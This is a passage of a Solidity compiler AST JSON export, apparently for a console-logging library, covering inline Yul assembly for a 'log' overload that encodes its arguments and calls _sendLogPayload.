{"name":"shr","nativeSrc":"241085:3:22","nodeType":"YulIdentifier","src":"241085:3:22"},"nativeSrc":"241085:13:22","nodeType":"YulFunctionCall","src":"241085:13:22"}],"functionName":{"name":"shl","nativeSrc":"241074:3:22","nodeType":"YulIdentifier","src":"241074:3:22"},"nativeSrc":"241074:25:22","nodeType":"YulFunctionCall","src":"241074:25:22"}],"functionName":{"name":"mstore","nativeSrc":"241051:6:22","nodeType":"YulIdentifier","src":"241051:6:22"},"nativeSrc":"241051:49:22","nodeType":"YulFunctionCall","src":"241051:49:22"},"nativeSrc":"241051:49:22","nodeType":"YulExpressionStatement","src":"241051:49:22"}]},"name":"writeString","nativeSrc":"240772:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"240793:3:22","nodeType":"YulTypedName","src":"240793:3:22","type":""},{"name":"w","nativeSrc":"240798:1:22","nodeType":"YulTypedName","src":"240798:1:22","type":""}],"src":"240772:342:22"},{"nativeSrc":"241127:17:22","nodeType":"YulAssignment","src":"241127:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"241139:4:22","nodeType":"YulLiteral","src":"241139:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"241133:5:22","nodeType":"YulIdentifier","src":"241133:5:22"},"nativeSrc":"241133:11:22","nodeType":"YulFunctionCall","src":"241133:11:22"},"variableNames":[{"name":"m0","nativeSrc":"241127:2:22","nodeType":"YulIdentifier","src":"241127:2:22"}]},{"nativeSrc":"241157:17:22","nodeType":"YulAssignment","src":"241157:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"241169:4:22","nodeType":"YulLiteral","src":"241169:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"241163:5:22","nodeType":"YulIdentifier","src":"241163:5:22"},"nativeSrc":"241163:11:22","nodeType":"YulFunctionCall","src":"241163:11:22"},"variableNames":[{"name":"m1","nativeSrc":"241157:2:22","nodeType":"YulIdentifier","src":"241157:2:22"}]},{"nativeSrc":"241187:17:22","nodeType":"YulAssignment","src":"241187:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"241199:4:22","nodeType":"YulLiteral","src":"241199:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"241193:5:22","nodeType":"YulIdentifier","src":"241193:5:22"},"nativeSrc":"241193:11:22","nodeType":"YulFunctionCall","src":"241193:11:22"},"variableNames":[{"name":"m2","nativeSrc":"241187:2:22","nodeType":"YulIdentifier","src":"241187:2:22"}]},{"nativeSrc":"241217:17:22","nodeType":"YulAssignment","src":"241217:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"241229:4:22","nodeType":"YulLiteral","src":"241229:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"241223:5:22","nodeType":"YulIdentifier","src":"241223:5:22"},"nativeSrc":"241223:11:22","nodeType":"YulFunctionCall","src":"241223:11:22"},"variableNames":[{"name":"m3","nativeSrc":"241217:2:22","nodeType":"YulIdentifier","src":"241217:2:22"}]},{"nativeSrc":"241247:17:22","nodeType":"YulAssignment","src":"241247:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"241259:4:22","nodeType":"YulLiteral","src":"241259:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"241253:5:22","nodeType":"YulIdentifier","src":"241253:5:22"},"nativeSrc":"241253:11:22","nodeType":"YulFunctionCall","src":"241253:11:22"},"variableNames":[{"name":"m4","nativeSrc":"241247:2:22","nodeType":"YulIdentifier","src":"241247:2:22"}]},{"nativeSrc":"241277:17:22","nodeType":"YulAssignment","src":"241277:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"241289:4:22","nodeType":"YulLiteral","src":"241289:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"241283:5:22","nodeType":"YulIdentifier","src":"241283:5:22"},"nativeSrc":"241283:11:22","nodeType":"YulFunctionCall","src":"241283:11:22"},"variableNames":[{"name":"m5","nativeSrc":"241277:2:22","nodeType":"YulIdentifier","src":"241277:2:22"}]},{"nativeSrc":"241307:17:22","nodeType":"YulAssignment","src":"241307:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"241319:4:22","nodeType":"YulLiteral","src":"241319:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"241313:5:22","nodeType":"YulIdentifier","src":"241313:5:22"},"nativeSrc":"241313:11:22","nodeType":"YulFunctionCall","src":"241313:11:22"},"variableNames":[{"name":"m6","nativeSrc":"241307:2:22","nodeType":"YulIdentifier","src":"241307:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"241410:4:22","nodeType":"YulLiteral","src":"241410:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"241416:10:22","nodeType":"YulLiteral","src":"241416:10:22","type":"","value":"0x9cba8fff"}],"functionName":{"name":"mstore","nativeSrc":"241403:6:22","nodeType":"YulIdentifier","src":"241403:6:22"},"nativeSrc":"241403:24:22","nodeType":"YulFunctionCall","src":"241403:24:22"},"nativeSrc":"241403:24:22","nodeType":"YulExpressionStatement","src":"241403:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"241447:4:22","nodeType":"YulLiteral","src":"241447:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"241453:2:22","nodeType":"YulIdentifier","src":"241453:2:22"}],"functionName":{"name":"mstore","nativeSrc":"241440:6:22","nodeType":"YulIdentifier","src":"241440:6:22"},"nativeSrc":"241440:16:22","nodeType":"YulFunctionCall","src":"241440:16:22"},"nativeSrc":"241440:16:22","nodeType":"YulExpressionStatement","src":"241440:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"241476:4:22","nodeType":"YulLiteral","src":"241476:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"241482:2:22","nodeType":"YulIdentifier","src":"241482:2:22"}],"functionName":{"name":"mstore","nativeSrc":"241469:6:22","nodeType":"YulIdentifier","src":"241469:6:22"},"nativeSrc":"241469:16:22","nodeType":"YulFunctionCall","src":"241469:16:22"},"nativeSrc":"241469:16:22","nodeType":"YulExpressionStatement","src":"241469:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"241505:4:22","nodeType":"YulLiteral","src":"241505:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"241511:4:22","nodeType":"YulLiteral","src":"241511:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"241498:6:22","nodeType":"YulIdentifier","src":"241498:6:22"},"nativeSrc":"241498:18:22","nodeType":"YulFunctionCall","src":"241498:18:22"},"nativeSrc":"241498:18:22","nodeType":"YulExpressionStatement","src":"241498:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"241536:4:22","nodeType":"YulLiteral","src":"241536:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"241542:2:22","nodeType":"YulIdentifier","src":"241542:2:22"}],"functionName":{"name":"mstore","nativeSrc":"241529:6:22","nodeType":"YulIdentifier","src":"241529:6:22"},"nativeSrc":"241529:16:22","nodeType":"YulFunctionCall","src":"241529:16:22"},"nativeSrc":"241529:16:22","nodeType":"YulExpressionStatement","src":"241529:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"241570:4:22","nodeType":"YulLiteral","src":"241570:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"241576:2:22","nodeType":"YulIdentifier","src":"241576:2:22"}],"functionName":{"name":"writeString","nativeSrc":"241558:11:22","nodeType":"YulIdentifier","src":"241558:11:22"},"nativeSrc":"241558:21:22","nodeType":"YulFunctionCall","src":"241558:21:22"},"nativeSrc":"241558:21:22","nodeType":"YulExpressionStatement","src":"241558:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41712,"isOffset":false,"isSlot":false,"src":"241127:2:22","valueSize":1},{"declaration":41715,"isOffset":false,"isSlot":false,"src":"241157:2:22","valueSize":1},{"declaration":41718,"isOffset":false,"isSlot":false,"src":"241187:2:22","valueSize":1},{"declaration":41721,"isOffset":false,"isSlot":false,"src":"241217:2:22","valueSize":1},{"declaration":41724,"isOffset":false,"isSlot":false,"src":"241247:2:22","valueSize":1},{"declaration":41727,"isOffset":false,"isSlot":false,"src":"241277:2:22","valueSize":1},{"declaration":41730,"isOffset":false,"isSlot":false,"src":"241307:2:22","valueSize":1},{"declaration":41702,"isOffset":false,"isSlot":false,"src":"241453:2:22","valueSize":1},{"declaration":41704,"isOffset":false,"isSlot":false,"src":"241482:2:22","valueSize":1},{"declaration":41706,"isOffset":false,"isSlot":false,"src":"241576:2:22","valueSize":1},{"declaration":41708,"isOffset":false,"isSlot":false,"src":"241542:2:22","valueSize":1}],"id":41732,"nodeType":"InlineAssembly","src":"240749:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41734,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"241614:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":41735,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"241620:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":41733,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"241598:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41736,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"241598:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41737,"nodeType":"ExpressionStatement","src":"241598:27:22"},{"AST":{"nativeSrc":"241644:214:22","nodeType":"YulBlock","src":"241644:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"241665:4:22","nodeType":"YulLiteral","src":"241665:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"241671:2:22","nodeType":"YulIdentifier","src":"241671:2:22"}],"functionName":{"name":"mstore","nativeSrc":"241658:6:22","nodeType":"YulIdentifier","src":"241658:6:22"},"nativeSrc":"241658:16:22","nodeType":"YulFunctionCall","src":"241658:16:22"},"nativeSrc":"241658:16:22","nodeType":"YulExpressionStatement","src":"241658:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"241694:4:22","nodeType":"YulLiteral","src":"241694:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"241700:2:22","nodeType":"YulIdentifier","src":"241700:2:22"}],"functionName":{"name":"mstore","nativeSrc":"241687:6:22","nodeType":"YulIdentifier","src":"241687:6:22"},"nativeSrc":"241687:16:22","nodeType":"YulFunctionCall","src":"241687:16:22"},"nativeSrc":"241687:16:22","nodeType":"YulExpressionStatement","src":"241687:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"241723:4:22","nodeType":"YulLiteral","src":"241723:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"241729:2:22","nodeType":"YulIdentifier","src":"241729:2:22"}],"functionName":{"name":"mstore","nativeSrc":"241716:6:22","nodeType":"YulIdentifier","src":"241716:6:22"},"nativeSrc":"241716:16:22","nodeType":"YulFunctionCall","src":"241716:16:22"},"nativeSrc":"241716:16:22","nodeType":"YulExpressionStatement","src":"241716:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"241752:4:22","nodeType":"YulLiteral","src":"241752:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"241758:2:22","nodeType":"YulIdentifier","src":"241758:2:22"}],"functionName":{"name":"mstore","nativeSrc":"241745:6:22","nodeType":"YulIdentifier","src":"241745:6:22"},"nativeSrc":"241745:16:22","nodeType":"YulFunctionCall","src":"241745:16:22"},"nativeSrc":"241745:16:22","nodeType":"YulExpressionStatement","src":"241745:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"241781:4:22","nodeType":"YulLiteral","src":"241781:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"241787:2:22","nodeType":"YulIdentifier","src":"241787:2:22"}],"functionName":{"name":"mstore","nativeSrc":"241774:6:22","nodeType":"YulIdentifier","src":"241774:6:22"},"nativeSrc":"241774:16:22","nodeType":"YulFunctionCall","src":"241774:16:22"},"nativeSrc":"241774:16:22","nodeType":"YulExpressionStatement","src":"241774:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"241810:4:22","nodeType":"YulLiteral","src":"241810:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"241816:2:22","nodeType":"YulIdentifier","src":"241816:2:22"}],"functionName":{"name":"mstore","nativeSrc":"241803:6:22","nodeType":"YulIdentifier","src":"241803:6:22"},"nativeSrc":"241803:16:22","nodeType":"YulFunctionCall","src":"241803:16:22"},"nativeSrc":"241803:16:22","nodeType":"YulExpressionStatement","src":"241803:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"241839:4:22","nodeType":"YulLiteral","src":"241839:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"241845:2:22","nodeType":"YulIdentifier","src":"241845:2:22"}],"functionName":{"name":"mstore","nativeSrc":"241832:6:22","nodeType":"YulIdentifier","src":"241832:6:22"},"nativeSrc":"241832:16:22","nodeType":"YulFunctionCall","src":"241832:16:22"},"nativeSrc":"241832:16:22","nodeType":"YulExpressionStatement","src":"241832:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41712,"isOffset":false,"isSlot":false,"src":"241671:2:22","valueSize":1},{"declaration":41715,"isOffset":false,"isSlot":false,"src":"241700:2:22","valueSize":1},{"declaration":41718,"isOffset":false,"isSlot":false,"src":"241729:2:22","valueSize":1},{"declaration":41721,"isOffset":false,"isSlot":false,"src":"241758:2:22","valueSize":1},{"declaration":41724,"isOffset":false,"isSlot":false,"src":"241787:2:22","valueSize":1},{"declaration":41727,"isOffset":false,"isSlot":false,"src":"241816:2:22","valueSize":1},{"declaration":41730,"isOffset":false,"isSlot":false,"src":"241845:2:22","valueSize":1}],"id":41738,"nodeType":"InlineAssembly","src":"241635:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"240533:3:22","parameters":{"id":41709,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41702,"mutability":"mutable","name":"p0","nameLocation":"240545:2:22","nodeType":"VariableDeclaration","scope":41740,"src":"240537:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41701,"name":"uint256","nodeType":"ElementaryTypeName","src":"240537:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41704,"mutability":"mutable","name":"p1","nameLocation":"240557:2:22","nodeType":"VariableDeclaration","scope":41740,"src":"240549:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41703,"name":"address","nodeType":"ElementaryTypeName","src":"240549:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41706,"mutability":"mutable","name":"p2","nameLocation":"240569:2:22","nodeType":"VariableDeclaration","scope":41740,"src":"240561:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41705,"name":"bytes32","nodeType":"ElementaryTypeName","src":"240561:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":41708,"mutability":"mutable","name":"p3","nameLocation":"240581:2:22","nodeType":"VariableDeclaration","scope":41740,"src":"240573:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41707,"name":"address","nodeType":"ElementaryTypeName","src":"240573:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"240536:48:22"},"returnParameters":{"id":41710,"nodeType":"ParameterList","parameters":[],"src":"240599:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41780,"nodeType":"FunctionDefinition","src":"241870:1334:22","nodes":[],"body":{"id":41779,"nodeType":"Block","src":"241942:1262:22","nodes":[],"statements":[{"assignments":[41752],"declarations":[{"constant":false,"id":41752,"mutability":"mutable","name":"m0","nameLocation":"241960:2:22","nodeType":"VariableDeclaration","scope":41779,"src":"241952:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41751,"name":"bytes32","nodeType":"ElementaryTypeName","src":"241952:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41753,"nodeType":"VariableDeclarationStatement","src":"241952:10:22"},{"assignments":[41755],"declarations":[{"constant":false,"id":41755,"mutability":"mutable","name":"m1","nameLocation":"241980:2:22","nodeType":"VariableDeclaration","scope":41779,"src":"241972:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41754,"name":"bytes32","nodeType":"ElementaryTypeName","src":"241972:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41756,"nodeType":"VariableDeclarationStatement","src":"241972:10:22"},{"assignments":[41758],"declarations":[{"constant":false,"id":41758,"mutability":"mutable","name":"m2","nameLocation":"242000:2:22","nodeType":"VariableDeclaration","scope":41779,"src":"241992:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41757,"name":"bytes32","nodeType":"ElementaryTypeName","src":"241992:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41759,"nodeType":"VariableDeclarationStatement","src":"241992:10:22"},{"assignments":[41761],"declarations":[{"constant":false,"id":41761,"mutability":"mutable","name":"m3","nameLocation":"242020:2:22","nodeType":"VariableDeclaration","scope":41779,"src":"242012:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41760,"name":"bytes32","nodeType":"ElementaryTypeName","src":"242012:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41762,"nodeType":"VariableDeclarationStatement","src":"242012:10:22"},{"assignments":[41764],"declarations":[{"constant":false,"id":41764,"mutability":"mutable","name":"m4","nameLocation":"242040:2:22","nodeType":"VariableDeclaration","scope":41779,"src":"242032:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41763,"name":"bytes32","nodeType":"ElementaryTypeName","src":"242032:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41765,"nodeType":"VariableDeclarationStatement","src":"242032:10:22"},{"assignments":[41767],"declarations":[{"constant":false,"id":41767,"mutability":"mutable","name":"m5","nameLocation":"242060:2:22","nodeType":"VariableDeclaration","scope":41779,"src":"242052:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41766,"name":"bytes32","nodeType":"ElementaryTypeName","src":"242052:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41768,"nodeType":"VariableDeclarationStatement","src":"242052:10:22"},{"assignments":[41770],"declarations":[{"constant":false,"id":41770,"mutability":"mutable","name":"m6","nameLocation":"242080:2:22","nodeType":"VariableDeclaration","scope":41779,"src":"242072:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41769,"name":"bytes32","nodeType":"ElementaryTypeName","src":"242072:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41771,"nodeType":"VariableDeclarationStatement","src":"242072:10:22"},{"AST":{"nativeSrc":"242101:828:22","nodeType":"YulBlock","src":"242101:828:22","statements":[{"body":{"nativeSrc":"242144:313:22","nodeType":"YulBlock","src":"242144:313:22","statements":[{"nativeSrc":"242162:15:22","nodeType":"YulVariableDeclaration","src":"242162:15:22","value":{"kind":"number","nativeSrc":"242176:1:22","nodeType":"YulLiteral","src":"242176:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"242166:6:22","nodeType":"YulTypedName","src":"242166:6:22","type":""}]},{"body":{"nativeSrc":"242247:40:22","nodeType":"YulBlock","src":"242247:40:22","statements":[{"body":{"nativeSrc":"242276:9:22","nodeType":"YulBlock","src":"242276:9:22","statements":[{"nativeSrc":"242278:5:22","nodeType":"YulBreak","src":"242278:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"242264:6:22","nodeType":"YulIdentifier","src":"242264:6:22"},{"name":"w","nativeSrc":"242272:1:22","nodeType":"YulIdentifier","src":"242272:1:22"}],"functionName":{"name":"byte","nativeSrc":"242259:4:22","nodeType":"YulIdentifier","src":"242259:4:22"},"nativeSrc":"242259:15:22","nodeType":"YulFunctionCall","src":"242259:15:22"}],"functionName":{"name":"iszero","nativeSrc":"242252:6:22","nodeType":"YulIdentifier","src":"242252:6:22"},"nativeSrc":"242252:23:22","nodeType":"YulFunctionCall","src":"242252:23:22"},"nativeSrc":"242249:36:22","nodeType":"YulIf","src":"242249:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"242204:6:22","nodeType":"YulIdentifier","src":"242204:6:22"},{"kind":"number","nativeSrc":"242212:4:22","nodeType":"YulLiteral","src":"242212:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"242201:2:22","nodeType":"YulIdentifier","src":"242201:2:22"},"nativeSrc":"242201:16:22","nodeType":"YulFunctionCall","src":"242201:16:22"},"nativeSrc":"242194:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"242218:28:22","nodeType":"YulBlock","src":"242218:28:22","statements":[{"nativeSrc":"242220:24:22","nodeType":"YulAssignment","src":"242220:24:22","value":{"arguments":[{"name":"length","nativeSrc":"242234:6:22","nodeType":"YulIdentifier","src":"242234:6:22"},{"kind":"number","nativeSrc":"242242:1:22","nodeType":"YulLiteral","src":"242242:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"242230:3:22","nodeType":"YulIdentifier","src":"242230:3:22"},"nativeSrc":"242230:14:22","nodeType":"YulFunctionCall","src":"242230:14:22"},"variableNames":[{"name":"length","nativeSrc":"242220:6:22","nodeType":"YulIdentifier","src":"242220:6:22"}]}]},"pre":{"nativeSrc":"242198:2:22","nodeType":"YulBlock","src":"242198:2:22","statements":[]},"src":"242194:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"242311:3:22","nodeType":"YulIdentifier","src":"242311:3:22"},{"name":"length","nativeSrc":"242316:6:22","nodeType":"YulIdentifier","src":"242316:6:22"}],"functionName":{"name":"mstore","nativeSrc":"242304:6:22","nodeType":"YulIdentifier","src":"242304:6:22"},"nativeSrc":"242304:19:22","nodeType":"YulFunctionCall","src":"242304:19:22"},"nativeSrc":"242304:19:22","nodeType":"YulExpressionStatement","src":"242304:19:22"},{"nativeSrc":"242340:37:22","nodeType":"YulVariableDeclaration","src":"242340:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"242357:3:22","nodeType":"YulLiteral","src":"242357:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"242366:1:22","nodeType":"YulLiteral","src":"242366:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"242369:6:22","nodeType":"YulIdentifier","src":"242369:6:22"}],"functionName":{"name":"shl","nativeSrc":"242362:3:22","nodeType":"YulIdentifier","src":"242362:3:22"},"nativeSrc":"242362:14:22","nodeType":"YulFunctionCall","src":"242362:14:22"}],"functionName":{"name":"sub","nativeSrc":"242353:3:22","nodeType":"YulIdentifier","src":"242353:3:22"},"nativeSrc":"242353:24:22","nodeType":"YulFunctionCall","src":"242353:24:22"},"variables":[{"name":"shift","nativeSrc":"242344:5:22","nodeType":"YulTypedName","src":"242344:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"242405:3:22","nodeType":"YulIdentifier","src":"242405:3:22"},{"kind":"number","nativeSrc":"242410:4:22","nodeType":"YulLiteral","src":"242410:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"242401:3:22","nodeType":"YulIdentifier","src":"242401:3:22"},"nativeSrc":"242401:14:22","nodeType":"YulFunctionCall","src":"242401:14:22"},{"arguments":[{"name":"shift","nativeSrc":"242421:5:22","nodeType":"YulIdentifier","src":"242421:5:22"},{"arguments":[{"name":"shift","nativeSrc":"242432:5:22","nodeType":"YulIdentifier","src":"242432:5:22"},{"name":"w","nativeSrc":"242439:1:22","nodeType":"YulIdentifier","src":"242439:1:22"}],"functionName":{"name":"shr","nativeSrc":"242428:3:22","nodeType":"YulIdentifier","src":"242428:3:22"},"nativeSrc":"242428:13:22","nodeType":"YulFunctionCall","src":"242428:13:22"}],"functionName":{"name":"shl","nativeSrc":"242417:3:22","nodeType":"YulIdentifier","src":"242417:3:22"},"nativeSrc":"242417:25:22","nodeType":"YulFunctionCall","src":"242417:25:22"}],"functionName":{"name":"mstore","nativeSrc":"242394:6:22","nodeType":"YulIdentifier","src":"242394:6:22"},"nativeSrc":"242394:49:22","nodeType":"YulFunctionCall","src":"242394:49:22"},"nativeSrc":"242394:49:22","nodeType":"YulExpressionStatement","src":"242394:49:22"}]},"name":"writeString","nativeSrc":"242115:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"242136:3:22","nodeType":"YulTypedName","src":"242136:3:22","type":""},{"name":"w","nativeSrc":"242141:1:22","nodeType":"YulTypedName","src":"242141:1:22","type":""}],"src":"242115:342:22"},{"nativeSrc":"242470:17:22","nodeType":"YulAssignment","src":"242470:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"242482:4:22","nodeType":"YulLiteral","src":"242482:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"242476:5:22","nodeType":"YulIdentifier","src":"242476:5:22"},"nativeSrc":"242476:11:22","nodeType":"YulFunctionCall","src":"242476:11:22"},"variableNames":[{"name":"m0","nativeSrc":"242470:2:22","nodeType":"YulIdentifier","src":"242470:2:22"}]},{"nativeSrc":"242500:17:22","nodeType":"YulAssignment","src":"242500:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"242512:4:22","nodeType":"YulLiteral","src":"242512:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"242506:5:22","nodeType":"YulIdentifier","src":"242506:5:22"},"nativeSrc":"242506:11:22","nodeType":"YulFunctionCall","src":"242506:11:22"},"variableNames":[{"name":"m1","nativeSrc":"242500:2:22","nodeType":"YulIdentifier","src":"242500:2:22"}]},{"nativeSrc":"242530:17:22","nodeType":"YulAssignment","src":"242530:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"242542:4:22","nodeType":"YulLiteral","src":"242542:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"242536:5:22","nodeType":"YulIdentifier","src":"242536:5:22"},"nativeSrc":"242536:11:22","nodeType":"YulFunctionCall","src":"242536:11:22"},"variableNames":[{"name":"m2","nativeSrc":"242530:2:22","nodeType":"YulIdentifier","src":"242530:2:22"}]},{"nativeSrc":"242560:17:22","nodeType":"YulAssignment","src":"242560:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"242572:4:22","nodeType":"YulLiteral","src":"242572:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"242566:5:22","nodeType":"YulIdentifier","src":"242566:5:22"},"nativeSrc":"242566:11:22","nodeType":"YulFunctionCall","src":"242566:11:22"},"variableNames":[{"name":"m3","nativeSrc":"242560:2:22","nodeType":"YulIdentifier","src":"242560:2:22"}]},{"nativeSrc":"242590:17:22","nodeType":"YulAssignment","src":"242590:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"242602:4:22","nodeType":"YulLiteral","src":"242602:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"242596:5:22","nodeType":"YulIdentifier","src":"242596:5:22"},"nativeSrc":"242596:11:22","nodeType":"YulFunctionCall","src":"242596:11:22"},"variableNames":[{"name":"m4","nativeSrc":"242590:2:22","nodeType":"YulIdentifier","src":"242590:2:22"}]},{"nativeSrc":"242620:17:22","nodeType":"YulAssignment","src":"242620:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"242632:4:22","nodeType":"YulLiteral","src":"242632:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"242626:5:22","nodeType":"YulIdentifier","src":"242626:5:22"},"nativeSrc":"242626:11:22","nodeType":"YulFunctionCall","src":"242626:11:22"},"variableNames":[{"name":"m5","nativeSrc":"242620:2:22","nodeType":"YulIdentifier","src":"242620:2:22"}]},{"nativeSrc":"242650:17:22","nodeType":"YulAssignment","src":"242650:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"242662:4:22","nodeType":"YulLiteral","src":"242662:4:22","type":"","value":"0xc0"}